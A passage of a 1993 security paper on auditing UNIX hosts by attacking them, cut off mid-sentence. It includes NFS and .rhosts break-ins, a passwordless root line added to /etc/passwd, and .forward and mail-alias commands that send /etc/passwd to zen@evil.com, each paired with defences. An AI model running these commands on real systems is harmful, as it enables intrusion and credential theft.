home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Texts / Improving-Security / security10.txt < prev    next >
Text File  |  1999-11-04  |  53KB  |  1,221 lines

  1.  
  2.     Dan Farmer              Wietse Venema
  3.  
  4.     Sun Microsystems        Eindhoven University of Technology
  5.  
  6.     zen@sun.com             wietse@wzv.win.tue.nl
  7.  
  8.     ----------------------------------------------------------
  9.  
  10. Introduction
  11.  
  12. Every day, all over the world, computer networks and hosts are being broken
  13. into. The level of sophistication of these attacks varies widely; while it
  14. is generally believed that most break-ins succeed due to weak passwords,
  15. there are still a large number of intrusions that use more advanced
  16. techniques to break in. Less is known about the latter types of break-ins,
  17. because by their very nature they are much harder to detect.
  18.  
  19. CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley. Purdue. Sun. You
  20. name it, we've seen it broken into. Anything that is on the Internet (and
  21. many that isn't) seems to be fairly easy game. Are these targets unusual?
  22. What happened?
  23.  
  24. ---------------------------------------------------------------------------
  25.  
  26. Fade to...
  27.  
  28. A young boy, with greasy blonde hair, sitting in a dark room. The room is
  29. illuminated only by the luminescense of the C64's 40 character screen.
  30. Taking another long drag from his Benson and Hedges cigarette, the weary
  31. system cracker telnets to the next faceless ".mil" site on his hit list.
  32. "guest -- guest", "root -- root", and "system -- manager" all fail. No
  33. matter. He has all night... he pencils the host off of his list, and
  34. tiredly types in the next potential victim...
  35.  
  36. This seems to be the popular image of a system cracker. Young,
  37. inexperienced, and possessing vast quantities of time to waste, to get into
  38. just one more system. However, there is a far more dangerous type of system
  39. cracker out there. One who knows the ins and outs of the latest security
  40. auditing and cracking tools, who can modify them for specific attacks, and
  41. who can write his/her own programs. One who not only reads about the latest
  42. security holes, but also personally discovers bugs and vulnerabilities. A
  43. deadly creature that can both strike poisonously and hide its tracks
  44. without a whisper or hint of a trail. The uebercracker is here.
  45.  
  46. ---------------------------------------------------------------------------
  47. Why "uebercracker"? The idea is stolen, obviously, from Nietzsche's
  48. uebermensch, or, literally translated into English, "over man." Nietzsche
  49. used the term not to refer to a comic book superman, but instead a man who
  50. had gone beyond the incompetence, pettiness, and weakness of the everyday
  51. man. The uebercracker is therefore the system cracker who has gone beyond
  52. simple cookbook methods of breaking into systems. An uebercracker is not
  53. usually motivated to perform random acts of violence. Targets are not
  54. arbitrary -- there is a purpose, whether it be personal monetary gain, a
  55. hit and run raid for information, or a challenge to strike a major or
  56. prestigious site or net.personality. An uebercracker is hard to detect,
  57. harder to stop, and hardest to keep out of your site for good.
  58.  
  59. Overview
  60.  
  61. In this paper we will take an unusual approach to system security. Instead
  62. of merely saying that something is a problem, we will look through the eyes
  63. of a potential intruder, and show why it is one. We will illustrate that
  64. even seemingly harmless network services can become valuable tools in the
  65. search for weak points of a system, even when these services are operating
  66. exactly as they are intended to.
  67.  
  68. In an effort to shed some light on how more advanced intrusions occur, this
  69. paper outlines various mechanisms that crackers have actually used to
  70. obtain access to systems and, in addition, some techniques we either
  71. suspect intruders of using, or that we have used ourselves in tests or in
  72. friendly/authorized environments.
  73.  
  74. Our motivation for writing this paper is that system administrators are
  75. often unaware of the dangers presented by anything beyond the most trivial
  76. attacks. While it is widely known that the proper level of protection
  77. depends on what has to be protected, many sites appear to lack the
  78. resources to assess what level of host and network security is adequate. By
  79. showing what intruders can do to gain access to a remote site, we are
  80. trying to help system administrators to make informed decisions on how to
  81. secure their site -- or not. We will limit the discussion to techniques
  82. that can give a remote intruder access to a (possibly non-interactive)
  83. shell process on a UNIX host. Once this is achieved, the details of
  84. obtaining root privilege are beyond the scope of this work -- we consider
  85. them too site-dependent and, in many cases, too trivial to merit much
  86. discussion.
  87.  
  88. We want to stress that we will not merely run down a list of bugs or
  89. security holes -- there will always be new ones for a potential attacker to
  90. exploit. The purpose of this paper is to try to get the reader to look at
  91. her or his system in a new way -- one that will hopefully afford him or her
  92. the opportunity to understand how their system can be compromised, and how.
  93.  
  94. We would also like to reiterate to the reader that the purpose of this
  95. paper is to show you how to test the security of your own site, not how to
  96. break into other people's systems. The intrusion techniques we illustrate
  97. here will often leave traces in your system auditing logs -- it might be
  98. constructive to examine them after trying some of these attacks out, to see
  99. what a real attack might look like. Certainly other sites and system
  100. administrators will take a very dim view of your activities if you decide
  101. to use their hosts for security testing without advance authorization;
  102. indeed, it is quite possible that legal action may be pursued against you
  103. if they perceive it as an attack.
  104.  
  105. There are four main parts to the paper. The first part is the introduction
  106. and overview. The second part attempts to give the reader a feel for what
  107. it is like to be an intruder and how to go from knowing nothing about a
  108. system to compromising its security. This section goes over actual
  109. techniques to gain information and entrance and covers basic strategies
  110. such as exploiting trust and abusing improperly configured basic network
  111. services (ftp, mail, tftp, etc.) It also discusses slightly more advanced
  112. topics, such as NIS and NFS, as well as various common bugs and
  113. configuration problems that are somewhat more OS or system specific.
  114. Defensive strategies against each of the various attacks are also covered
  115. here.
  116.  
  117. The third section deals with trust: how the security of one system depends
  118. on the integrity of other systems. Trust is the most complex subject in
  119. this paper, and for the sake of brevity we will limit the discussion to
  120. clients in disguise.
  121.  
  122. The fourth section covers the basic steps that a system administrator may
  123. take to protect her or his system. Most of the methods presented here are
  124. merely common sense, but they are often ignored in practice -- one of our
  125. goals is to show just how dangerous it can be to ignore basic security
  126. practices.
  127.  
  128. Case studies, pointers to security-related information, and software are
  129. described in the appendices at the end of the paper.
  130.  
  131. While exploring the methods and strategies discussed in this paper we we
  132. wrote SATAN (Security Analysis Tool for Auditing Networks.) Written in
  133. shell, perl, expect and C, it examines a remote host or set of hosts and
  134. gathers as much information as possible by remotely probing NIS, finger,
  135. NFS, ftp and tftp, rexd, and other services. This information includes the
  136. presence of various network information services as well as potential
  137. security flaws -- usually in the form of incorrectly setup or configured
  138. network services, well-known bugs in system or network utilities, or poor
  139. or ignorant policy decisions. It then can either report on this data or use
  140. an expert system to further investigate any potential security problems.
  141. While SATAN doesn't use all of the methods that we discuss in the paper, it
  142. has succeeded with ominous regularity in finding serious holes in the
  143. security of Internet sites. It will be posted and made available via
  144. anonymous ftp when completed; Appendix A covers its salient features.
  145.  
  146. Note that it isn't possible to cover all possible methods of breaking into
  147. systems in a single paper. Indeed, we won't cover two of the most effective
  148. methods of breaking into hosts: social engineering and password cracking.
  149. The latter method is so effective, however, that several of the strategies
  150. presented here are geared towards acquiring password files. In addition,
  151. while windowing systems (X, OpenWindows, etc.) can provide a fertile ground
  152. for exploitation, we simply don't know many methods that are used to break
  153. into remote systems. Many system crackers use non-bitmapped terminals which
  154. can prevent them from using some of the more interesting methods to exploit
  155. windowing systems effectively (although being able to monitor the victim's
  156. keyboard is often sufficient to capture passwords). Finally, while worms,
  157. viruses, trojan horses, and other malware are very interesting, they are
  158. not common (on UNIX systems) and probably will use similar techniques to
  159. the ones we describe in this paper as individual parts to their attack
  160. strategy.
  161.  
  162. Gaining Information
  163.  
  164. Let us assume that you are the head system administrator of Victim
  165. Incorporated's network of UNIX workstations. In an effort to secure your
  166. machines, you ask a friendly system administrator from a nearby site
  167. (evil.com) to give you an account on one of her machines so that you can
  168. look at your own system's security from the outside.
  169.  
  170. What should you do? First, try to gather information about your (target)
  171. host. There is a wealth of network services to look at: finger, showmount,
  172. and rpcinfo are good starting points. But don't stop there -- you should
  173. also utilize DNS, whois, sendmail (smtp), ftp, uucp, and as many other
  174. services as you can find. There are so many methods and techniques that
  175. space precludes us from showing all of them, but we will try to show a
  176. cross-section of the most common and/or dangerous strategies that we have
  177. seen or have thought of. Ideally, you would gather such information about
  178. all hosts on the subnet or area of attack --- information is power -- but
  179. for now we'll examine only our intended target.
  180.  
  181. To start out, you look at what the ubiquitous finger command shows you
  182. (assume it is 6pm, Nov 6, 1993):
  183.  
  184.  victim % finger @victim.com
  185.  
  186.  [victim.com]
  187.  
  188.  Login       Name             TTY Idle     When    Where
  189.  
  190.  zen      Dr.  Fubar           co   1d  Wed 08:00   death.com
  191.  
  192. Good! A single idle user -- it is likely that no one will notice if you
  193. actually manage to break in.
  194.  
  195. Now you try more tactics. As every finger devotee knows, fingering "@",
  196. "0", and "", as well as common names, such as root, bin, ftp, system,
  197. guest, demo, manager, etc., can reveal interesting information. What that
  198. information is depends on the version of finger that your target is
  199. running, but the most notable are account names, along with their home
  200. directories and the host that they last logged in from.
  201.  
  202. To add to this information, you can use rusers (in particular with the -l
  203. flag) to get useful information on logged-in users.
  204.  
  205. Trying these commands on victim.com reveals the following information,
  206. presented in a compressed tabular form to save space:
  207.  
  208.  Login   Home-dir    Shell      Last login, from where
  209.  
  210.  -----   --------    -----      ----------------------
  211.  
  212.  root    /           /bin/sh    Fri Nov 5 07:42 on ttyp1 from big.victim.com
  213.  
  214.  bin     /bin                   Never logged in
  215.  
  216.  nobody  /                      Tue Jun 15 08:57 on ttyp2 from server.victim.co
  217.  
  218.  daemon  /                      Tue Mar 23 12:14 on ttyp0 from big.victim.com
  219.  
  220.  sync    /           /bin/sync  Tue Mar 23 12:14 on ttyp0 from big.victim.com
  221.  
  222.  zen     /home/zen   /bin/bash  On since Wed Nov  6 on ttyp3 from death.com
  223.  
  224.  sam     /home/sam   /bin/csh   Wed Nov  5 05:33 on ttyp3 from evil.com
  225.  
  226.  guest   /export/foo /bin/sh    Never logged in
  227.  
  228.  ftp     /home/ftp              Never logged in
  229.  
  230. Both our experiments with SATAN and watching system crackers at work have
  231. proved to us that finger is one of the most dangerous services, because it
  232. is so useful for investigating a potential target. However, much of this
  233. information is useful only when used in conjunction with other data.
  234.  
  235. For instance, running showmount on your target reveals:
  236.  
  237.  evil % showmount -e victim.com
  238.  
  239.  export list for victim.com:
  240.  
  241.  /export                            (everyone)
  242.  
  243.  /var                               (everyone)
  244.  
  245.  /usr                               easy
  246.  
  247.  /export/exec/kvm/sun4c.sunos.4.1.3 easy
  248.  
  249.  /export/root/easy                  easy
  250.  
  251.  /export/swap/easy                  easy
  252.  
  253. Note that /export/foo is exported to the world; also note that this is user
  254. guest's home directory. Time for your first break-in! In this case, you'll
  255. mount the home directory of user "guest." Since you don't have a
  256. corresponding account on the local machine and since root cannot modify
  257. files on an NFS mounted filesystem, you create a "guest" account in your
  258. local password file. As user guest you can put an .rhosts entry in the
  259. remote guest home directory, which will allow you to login to the target
  260. machine without having to supply a password.
  261.  
  262.  evil # mount victim.com:/export/foo /foo
  263.  
  264.  evil # cd /foo
  265.  
  266.  evil # ls -lag
  267.  
  268.  total 3
  269.  
  270.     1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
  271.  
  272.     1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
  273.  
  274.     1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest
  275.  
  276.  evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
  277.  
  278.  evil # ls -lag
  279.  
  280.  total 3
  281.  
  282.     1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
  283.  
  284.     1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
  285.  
  286.     1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest
  287.  
  288.  evil # su guest
  289.  
  290.  evil % echo victim.com >> guest/.rhosts
  291.  
  292.  evil % rlogin victim.com
  293.  
  294.          Welcome to victim.com!
  295.  
  296.  victim %
  297.  
  298. If, instead of home directories, victim.com were exporting filesystems with
  299. user commands (say, /usr or /usr/local/bin), you could replace a command
  300. with a trojan horse that executes any command of your choice. The next user
  301. to execute that command would execute your program.
  302.  
  303. We suggest that filesystems be exported:
  304.  
  305.    * Read/write only to specific, trusted clients.
  306.  
  307.    * Read-only, where possible (data or programs can often be exported in
  308.      this manner.)
  309.  
  310. If the target has a "+" wildcard in its /etc/hosts.equiv (the default in
  311. various vendor's machines) or has the netgroups bug (CERT advisory 91:12),
  312. any non-root user with a login name in the target's password file can
  313. rlogin to the target without a password. And since the user "bin" often
  314. owns key files and directories, your next attack is to try to log in to the
  315. target host and modify the password file to let you have root access:
  316.  
  317.  evil % whoami
  318.  
  319.  bin
  320.  
  321.  evil % rsh victim.com csh -i
  322.  
  323.  Warning: no access to tty; thus no job control in this shell...
  324.  
  325.  victim %  ls -ldg /etc
  326.  
  327.  drwxr-sr-x  8 bin      staff        2048 Jul 24 18:02 /etc
  328.  
  329.  victim %  cd /etc
  330.  
  331.  victim %  mv passwd pw.old
  332.  
  333.  victim %  (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
  334.  
  335.  victim % ^D
  336.  
  337.  evil % rlogin victim.com -l toor
  338.  
  339.          Welcome to victim.com!
  340.  
  341.  victim #
  342.  
  343. A few notes about the method used above; "rsh victim.com csh -i" is used to
  344. initially get onto the system because it doesn't leave any traces in the
  345. wtmp or utmp system auditing files, making the rsh invisible for finger and
  346. who. The remote shell isn't attached to a pseudo-terminal, however, so that
  347. screen-oriented programs such as pagers and editors will fail -- but it is
  348. very handy for brief exploration.
  349.  
  350. The COPS security auditing tool (see appendix D) will report key files or
  351. directories that are writable to accounts other than the superuser. If you
  352. run SunOS 4.x you can apply patch 100103 to fix most file permission
  353. problems. On many systems, rsh probes as shown above, even when successful,
  354. would remain completely unnoticed; the tcp wrapper (appendix D), which logs
  355. incoming connections, can help to expose such activities.
  356.  
  357. ---------------------------------------------------------------------------
  358. What now? Have you uncovered all the holes on your target system? Not by a
  359. long shot. Going back to the finger results on your target, you notice that
  360. it has an "ftp" account, which usually means that anonymous ftp is enabled.
  361. Anonymous ftp can be an easy way to get access, as it is often
  362. misconfigured. For example, the target may have a complete copy of the
  363. /etc/passwd file in the anonymous ftp ~ftp/etc directory instead of a
  364. stripped down version. In this example, though, you see that the latter
  365. doesn't seem to be true (how can you tell without actually examining the
  366. file?) However, the home directory of ftp on victim.com is writable. This
  367. allows you to remotely execute a command -- in this case, mailing the
  368. password file back to yourself -- by the simple method of creating a
  369. .forward file that executes a command when mail is sent to the ftp account.
  370. This is the same mechanism of piping mail to a program that the "vacation"
  371. program uses to automatically reply to mail messages.
  372.  
  373.  evil % cat forward_sucker_file
  374.  
  375.  "|/bin/mail zen@evil.com < /etc/passwd"
  376.  
  377.  evil % ftp victim.com
  378.  
  379.  Connected to victim.com
  380.  
  381.  220 victim FTP server ready.
  382.  
  383.  Name (victim.com:zen): ftp
  384.  
  385.  331 Guest login ok, send ident as password.
  386.  
  387.  Password:
  388.  
  389.  230 Guest login ok, access restrictions apply.
  390.  
  391.  ftp> ls -lga
  392.  
  393.  200 PORT command successful.
  394.  
  395.  150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
  396.  
  397.  total 5
  398.  
  399.  drwxr-xr-x  4 101      1             512 Jun 20  1991 .
  400.  
  401.  drwxr-xr-x  4 101      1             512 Jun 20  1991 ..
  402.  
  403.  drwxr-xr-x  2 0        1             512 Jun 20  1991 bin
  404.  
  405.  drwxr-xr-x  2 0        1             512 Jun 20  1991 etc
  406.  
  407.  drwxr-xr-x  3 101      1             512 Aug 22  1991 pub
  408.  
  409.  226 ASCII Transfer complete.
  410.  
  411.  242 bytes received in 0.066 seconds (3.6 Kbytes/s)
  412.  
  413.  ftp> put forward_sucker_file .forward
  414.  
  415.  43 bytes sent in 0.0015 seconds (28 Kbytes/s)
  416.  
  417.  ftp> quit
  418.  
  419.  evil % echo test | mail ftp@victim.com
  420.  
  421. Now you simply wait for the password file to be sent back to you.
  422.  
  423. The security auditing tool COPS will check your anonymous ftp setup; see
  424. the man page for ftpd, the documentation/code for COPS, or CERT advisory
  425. 93:10 for information on how to set up anonymous ftp correctly.
  426. Vulnerabilities in ftp are often a matter of incorrect ownership or
  427. permissions of key files or directories. At the very least, make sure that
  428. ~ftp and all "system" directories and files below ~ftp are owned by root
  429. and are not writable by any user.
  430.  
  431. While looking at ftp, you can check for an older bug that was once widely
  432. exploited:
  433.  
  434.  % ftp -n
  435.  
  436.  ftp> open victim.com
  437.  
  438.  Connected to victim.com
  439.  
  440.  220 victim.com FTP server ready.
  441.  
  442.  ftp> quote user ftp
  443.  
  444.  331 Guest login ok, send ident as password.
  445.  
  446.  ftp> quote cwd ~root
  447.  
  448.  530 Please login with USER and PASS.
  449.  
  450.  ftp> quote pass ftp
  451.  
  452.  230 Guest login ok, access restrictions apply.
  453.  
  454.  ftp> ls -al / (or whatever)
  455.  
  456. If this works, you now are logged in as root, and able to modify the
  457. password file, or whatever you desire. If your system exhibits this bug,
  458. you should definitely get an update to your ftpd daemon, either from your
  459. vendor or (via anon ftp) from ftp.uu.net.
  460.  
  461. The wuarchive ftpd, a popular replacement ftp daemon put out by the
  462. Washington University in Saint Louis, had almost the same problem. If your
  463. wuarchive ftpd pre-dates April 8, 1993, you should replace it by a more
  464. recent version.
  465.  
  466. Finally, there is a program vaguely similar to ftp -- tftp, or the trivial
  467. file transfer program. This daemon doesn't require any password for
  468. authentication; if a host provides tftp without restricting the access
  469. (usually via some secure flag set in the inetd.conf file), an attacker can
  470. read and write files anywhere on the system. In the example, you get the
  471. remote password file and place it in your local /tmp directory:
  472.  
  473.  evil % tftp
  474.  
  475.  tftp> connect victim.com
  476.  
  477.  tftp> get /etc/passwd /tmp/passwd.victim
  478.  
  479.  tftp> quit
  480.  
  481. For security's sake, tftp should not be run; if tftp is necessary, use the
  482. secure option/flag to restrict access to a directory that has no valuable
  483. information, or run it under the control of a chroot wrapper program.
  484.  
  485. ---------------------------------------------------------------------------
  486. If none of the previous methods have worked, it is time to go on to more
  487. drastic measures. You have a friend in rpcinfo, another very handy program,
  488. sometimes even more useful than finger. Many hosts run RPC services that
  489. can be exploited; rpcinfo can talk to the portmapper and show you the way.
  490. It can tell you if the host is running NIS, if it is a NIS server or slave,
  491. if a diskless workstation is around, if it is running NFS, any of the info
  492. services (rusersd, rstatd, etc.), or any other unusual programs (auditing
  493. or security related). For instance, going back to our sample target:
  494.  
  495.  evil % rpcinfo -p victim.com    [output trimmed for brevity's sake]
  496.  
  497.     program vers proto   port
  498.  
  499.      100004    2   tcp    673  ypserv
  500.  
  501.      100005    1   udp    721  mountd
  502.  
  503.      100003    2   udp   2049  nfs
  504.  
  505.      100026    1   udp    733  bootparam
  506.  
  507.      100017    1   tcp   1274  rexd
  508.  
  509. In this case, you can see several significant facts about our target; first
  510. of which is that it is an NIS server. It is perhaps not widely known, but
  511. once you know the NIS domainname of a server, you can get any of its NIS
  512. maps by a simple rpc query, even when you are outside the subnet served by
  513. the NIS server (for example, using the YPX program that can be found in the
  514. comp.sources.misc archives on ftp.uu.net). In addition, very much like
  515. easily guessed passwords, many systems use easily guessed NIS domainnames.
  516. Trying to guess the NIS domainname is often very fruitful. Good candidates
  517. are the fully and partially qualified hostname (e.g. "victim" and
  518. "victim.com"), the organization name, netgroup names in "showmount" output,
  519. and so on. If you wanted to guess that the domainname was "victim", you
  520. could type:
  521.  
  522.  evil % ypwhich -d victim victim.com
  523.  
  524.  Domain victim not bound.
  525.  
  526. This was an unsuccessful attempt; if you had guessed correctly it would
  527. have returned with the host name of victim.com's NIS server. However, note
  528. from the NFS section that victim.com is exporting the "/var" directory to
  529. the world. All that is needed is to mount this directory and look in the
  530. "yp" subdirectory -- among other things you will see another subdirectory
  531. that contains the domainname of the target.
  532.  
  533.  evil # mount victim.com:/var /foo
  534.  
  535.  evil # cd /foo
  536.  
  537.  evil # /bin/ls -alg /foo/yp
  538.  
  539.  total 17
  540.  
  541.     1 drwxr-sr-x  4 root     staff         512 Jul 12 14:22 .
  542.  
  543.     1 drwxr-sr-x 11 root     staff         512 Jun 29 10:54 ..
  544.  
  545.    11 -rwxr-xr-x  1 root     staff       10993 Apr 22 11:56 Makefile
  546.  
  547.     1 drwxr-sr-x  2 root     staff         512 Apr 22 11:20 binding
  548.  
  549.     2 drwxr-sr-x  2 root     staff        1536 Jul 12 14:22 foo_bar
  550.  
  551.     [...]
  552.  
  553. In this case, "foo_bar" is the NIS domain name.
  554.  
  555. In addition, the NIS maps often contain a good list of user/employee names
  556. as well as internal host lists, not to mention passwords for cracking.
  557.  
  558. Appendix C details the results of a case study on NIS password files.
  559.  
  560. ---------------------------------------------------------------------------
  561. You note that the rpcinfo output also showed that victim.com runs rexd.
  562. Like the rsh daemon, rexd processes requests of the form "please execute
  563. this command as that user". Unlike rshd, however, rexd does not care if the
  564. client host is in the hosts.equiv or .rhost files. Normally the rexd client
  565. program is the "on" command, but it only takes a short C program to send
  566. arbitrary client host and userid information to the rexd server; rexd will
  567. happily execute the command. For these reasons, running rexd is similar to
  568. having no passwords at all: all security is in the client, not in the
  569. server where it should be. Rexd security can be improved somewhat by using
  570. secure RPC.
  571.  
  572. ---------------------------------------------------------------------------
  573. While looking at the output from rpcinfo, you observe that victim.com also
  574. seems to be a server for diskless workstations. This is evidenced by the
  575. presence of the bootparam service, which provides information to the
  576. diskless clients for booting. If you ask nicely, using BOOTPARAMPROC_WHOAMI
  577. and provide the address of a client, you can get its NIS domainname. This
  578. can be very useful when combined with the fact that you can get arbitrary
  579. NIS maps (such as the password file) when you know the NIS domainname. Here
  580. is a sample code snippet to do just that (bootparam is part of SATAN.)
  581.  
  582.     char   *server;
  583.  
  584.     struct bp_whoami_arg arg;           /* query */
  585.  
  586.     struct bp_whoami_res res;           /* reply */
  587.  
  588.  
  589.  
  590.     /* initializations omitted... */
  591.  
  592.  
  593.  
  594.     callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
  595.  
  596.             xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);
  597.  
  598.     printf("%s has nisdomain %s\n", server, res.domain_name);
  599.  
  600. The showmount output indicated that "easy" is a diskless client of
  601. victim.com, so we use its client address in the BOOTPARAMPROC_WHOAMI query:
  602.  
  603.  evil % bootparam victim.com easy.victim.com
  604.  
  605.  victim.com has nisdomain foo_bar
  606.  
  607. ---------------------------------------------------------------------------
  608. NIS masters control the mail aliases for the NIS domain in question. Just
  609. like local mail alias files, you can create a mail alias that will execute
  610. commands when mail is sent to it (a once popular example of this is the
  611. "decode" alias which uudecodes mail files sent to it.) For instance, here
  612. you create an alias "foo", which mails the password file back to evil.com
  613. by simply mailing any message to it:
  614.  
  615.  nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases
  616.  
  617.  nis-master # cd /var/yp
  618.  
  619.  nis-master # make aliases
  620.  
  621.  nis-master # echo test | mail -v foo@victim.com
  622.  
  623. Hopefully attackers won't have control of your NIS master host, but even
  624. more hopefully the lesson is clear -- NIS is normally insecure, but if an
  625. attacker has control of your NIS master, then s/he effectively has control
  626. of the client hosts (e.g. can execute arbitrary commands).
  627.  
  628. There aren't many effective defenses against NIS attacks; it is an insecure
  629. service that has almost no authentication between clients and servers. To
  630. make things worse, it seems fairly clear that arbitrary maps can be forced
  631. onto even master servers (e.g., it is possible to treat an NIS server as a
  632. client). This, obviously, would subvert the entire schema. If it is
  633. absolutely necessary to use NIS, choosing a hard to guess domainname can
  634. help slightly, but if you run diskless clients that are exposed to
  635. potential attackers then it is trivial for an attacker to defeat this
  636. simple step by using the bootparam trick to get the domainname. If NIS is
  637. used to propagate the password maps, then shadow passwords do not give
  638. additional protection because the shadow map is still accessible to any
  639. attacker that has root on an attacking host. Better is to use NIS as little
  640. as possible, or to at least realize that the maps can be subject to perusal
  641. by potentially hostile forces.
  642.  
  643. Secure RPC goes a long way to diminish the threat, but it has its own
  644. problems, primarily in that it is difficult to administer, but also in that
  645. the cryptographic methods used within are not very strong. It has been
  646. rumored that NIS+, Sun's new network information service, fixes some of
  647. these problems, but until now it has been limited to running on Suns, and
  648. thus far has not lived up to the promise of the design. Finally, using
  649. packet filtering (at the very least port 111) or securelib (see appendix
  650. D), or, for Suns, applying Sun patch 100482-02 all can help.
  651.  
  652. ---------------------------------------------------------------------------
  653. The portmapper only knows about RPC services. Other network services can be
  654. located with a brute-force method that connects to all network ports. Many
  655. network utilities and windowing systems listen to specific ports (e.g.
  656. sendmail is on port 25, telnet is on port 23, X windows is usually on port
  657. 6000, etc.) SATAN includes a program that scans the ports of a remote hosts
  658. and reports on its findings; if you run it against our target, you see:
  659.  
  660.  evil % tcpmap victim.com
  661.  
  662.  Mapping 128.128.128.1
  663.  
  664.  port 21: ftp
  665.  
  666.  port 23: telnet
  667.  
  668.  port 25: smtp
  669.  
  670.  port 37: time
  671.  
  672.  port 79: finger
  673.  
  674.  port 512: exec
  675.  
  676.  port 513: login
  677.  
  678.  port 514: shell
  679.  
  680.  port 515: printer
  681.  
  682.  port 6000: (X)
  683.  
  684. This suggests that victim.com is running X windows. If not protected
  685. properly (via the magic cookie or xhost mechanisms), window displays can be
  686. captured or watched, user keystrokes may be stolen, programs executed
  687. remotely, etc. Also, if the target is running X and accepts a telnet to
  688. port 6000, that can be used for a denial of service attack, as the target's
  689. windowing system will often "freeze up" for a short period of time. One
  690. method to determine the vulnerability of an X server is to connect to it
  691. via the XOpenDisplay() function; if the function returns NULL then you
  692. cannot access the victim's display (opendisplay is part of SATAN):
  693.  
  694.     char   *hostname;
  695.  
  696.     if (XOpenDisplay(hostname) == NULL) {
  697.  
  698.        printf("Cannot open display: %s\n", hostname);
  699.  
  700.     } else {
  701.  
  702.        printf("Can open display: %s\n", hostname);
  703.  
  704.     }
  705.  
  706.  evil % opendisplay victim.com:0
  707.  
  708.  Cannot open display: victim.com:0
  709.  
  710. X terminals, though much less powerful than a complete UNIX system, can
  711. have their own security problems. Many X terminals permit unrestricted rsh
  712. access, allowing you to start X client programs in the victim's terminal
  713. with the output appearing on your own screen:
  714.  
  715.  evil % xhost +xvictim.victim.com
  716.  
  717.  evil % rsh xvictim.victim.com telnet victim.com -display evil.com
  718.  
  719. In any case, give as much thought to your window security as your
  720. filesystem and network utilities, for it can compromise your system as
  721. surely as a "+" in your hosts.equiv or a passwordless (root) account.
  722.  
  723. ---------------------------------------------------------------------------
  724. Next, you examine sendmail. Sendmail is a very complex program that has a
  725. long history of security problems, including the infamous "wiz" command
  726. (hopefully long since disabled on all machines). You can often determine
  727. the OS, sometimes down to the version number, of the target, by looking at
  728. the version number returned by sendmail. This, in turn, can give you hints
  729. as to how vulnerable it might be to any of the numerous bugs. In addition,
  730. you can see if they run the "decode" alias, which has its own set of
  731. problems:
  732.  
  733.  evil % telnet victim.com 25
  734.  
  735.  connecting to host victim.com (128.128.128.1.), port 25
  736.  
  737.  connection open
  738.  
  739.  220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
  740.  
  741.  expn decode
  742.  
  743.  250 <"|/usr/bin/uudecode">
  744.  
  745.  quit
  746.  
  747. Running the "decode" alias is a security risk -- it allows potential
  748. attackers to overwrite any file that is writable by the owner of that alias
  749. -- often daemon, but potentially any user. Consider this piece of mail --
  750. this will place "evil.com" in user zen's .rhosts file if it is writable:
  751.  
  752.  evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com
  753.  
  754. If no home directories are known or writable, an interesting variation of
  755. this is to create a bogus /etc/aliases.pag file that contains an alias with
  756. a command you wish to execute on your target. This may work since on many
  757. systems the aliases.pag and aliases.dir files, which control the system's
  758. mail aliases, are writable to the world.
  759.  
  760.  evil % cat decode
  761.  
  762.  bin: "| cat /etc/passwd | mail zen@evil.com"
  763.  
  764.  evil % newaliases -oQ/tmp -oA`pwd`/decode
  765.  
  766.  evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
  767.  
  768.  evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
  769.  
  770. A lot of things can be found out by just asking sendmail if an address is
  771. acceptable (vrfy), or what an address expands to (expn). When the finger or
  772. rusers services are turned off, vrfy and expn can still be used to identify
  773. user accounts or targets. Vrfy and expn can also be used to find out if the
  774. user is piping mail through any program that might be exploited (e.g.
  775. vacation, mail sorters, etc.). It can be a good idea to disable the vrfy
  776. and expn commands: in most versions, look at the source file srvrsmtp.c,
  777. and either delete or change the two lines in the CmdTab structure that have
  778. the strings "vrfy" and "expn". Sites without source can still disable expn
  779. and vrfy by just editing the sendmail executable with a binary editor and
  780. replacing "vrfy" and "expn" with blanks. Acquiring a recent version of
  781. sendmail (see Appendix D) is also an extremely good idea, since there have
  782. probably been more security bugs reported in sendmail than in any other
  783. UNIX program.
  784.  
  785. ---------------------------------------------------------------------------
  786. As a sendmail-sendoff, there are two fairly well known bugs that should be
  787. checked into. The first was definitely fixed in version 5.59 from Berkeley;
  788. despite the messages below, for versions of sendmail previous to 5.59, the
  789. "evil.com" gets appended, despite the error messages, along with all of the
  790. typical mail headers, to the file specified:
  791.  
  792.  % cat evil_sendmail
  793.  
  794.  telnet victim.com 25 << EOSM
  795.  
  796.  rcpt to: /home/zen/.rhosts
  797.  
  798.  mail from: zen
  799.  
  800.  data
  801.  
  802.  random garbage
  803.  
  804.  .
  805.  
  806.  rcpt to: /home/zen/.rhosts
  807.  
  808.  mail from: zen
  809.  
  810.  data
  811.  
  812.  evil.com
  813.  
  814.  .
  815.  
  816.  quit
  817.  
  818.  EOSM
  819.  
  820.  evil % /bin/sh evil_sendmail
  821.  
  822.  Trying 128.128.128.1
  823.  
  824.  Connected to victim.com
  825.  
  826.  Escape character is '^]'.
  827.  
  828.  Connection closed by foreign host.
  829.  
  830.  evil % rlogin victim.com -l zen
  831.  
  832.          Welcome to victim.com!
  833.  
  834.  victim %
  835.  
  836. The second hole, fixed only recently, permitted anyone to specify arbitrary
  837. shell commands and/or pathnames for the sender and/or destination address.
  838. Attempts to keep details secret were in vain, and extensive discussions in
  839. mailing lists and usenet news groups led to disclosure of how to exploit
  840. some versions of the bug. As with many UNIX bugs, nearly every vendor's
  841. sendmail was vulnerable to the problem, since they all share a common
  842. source code tree ancestry. Space precludes us from discussing it fully, but
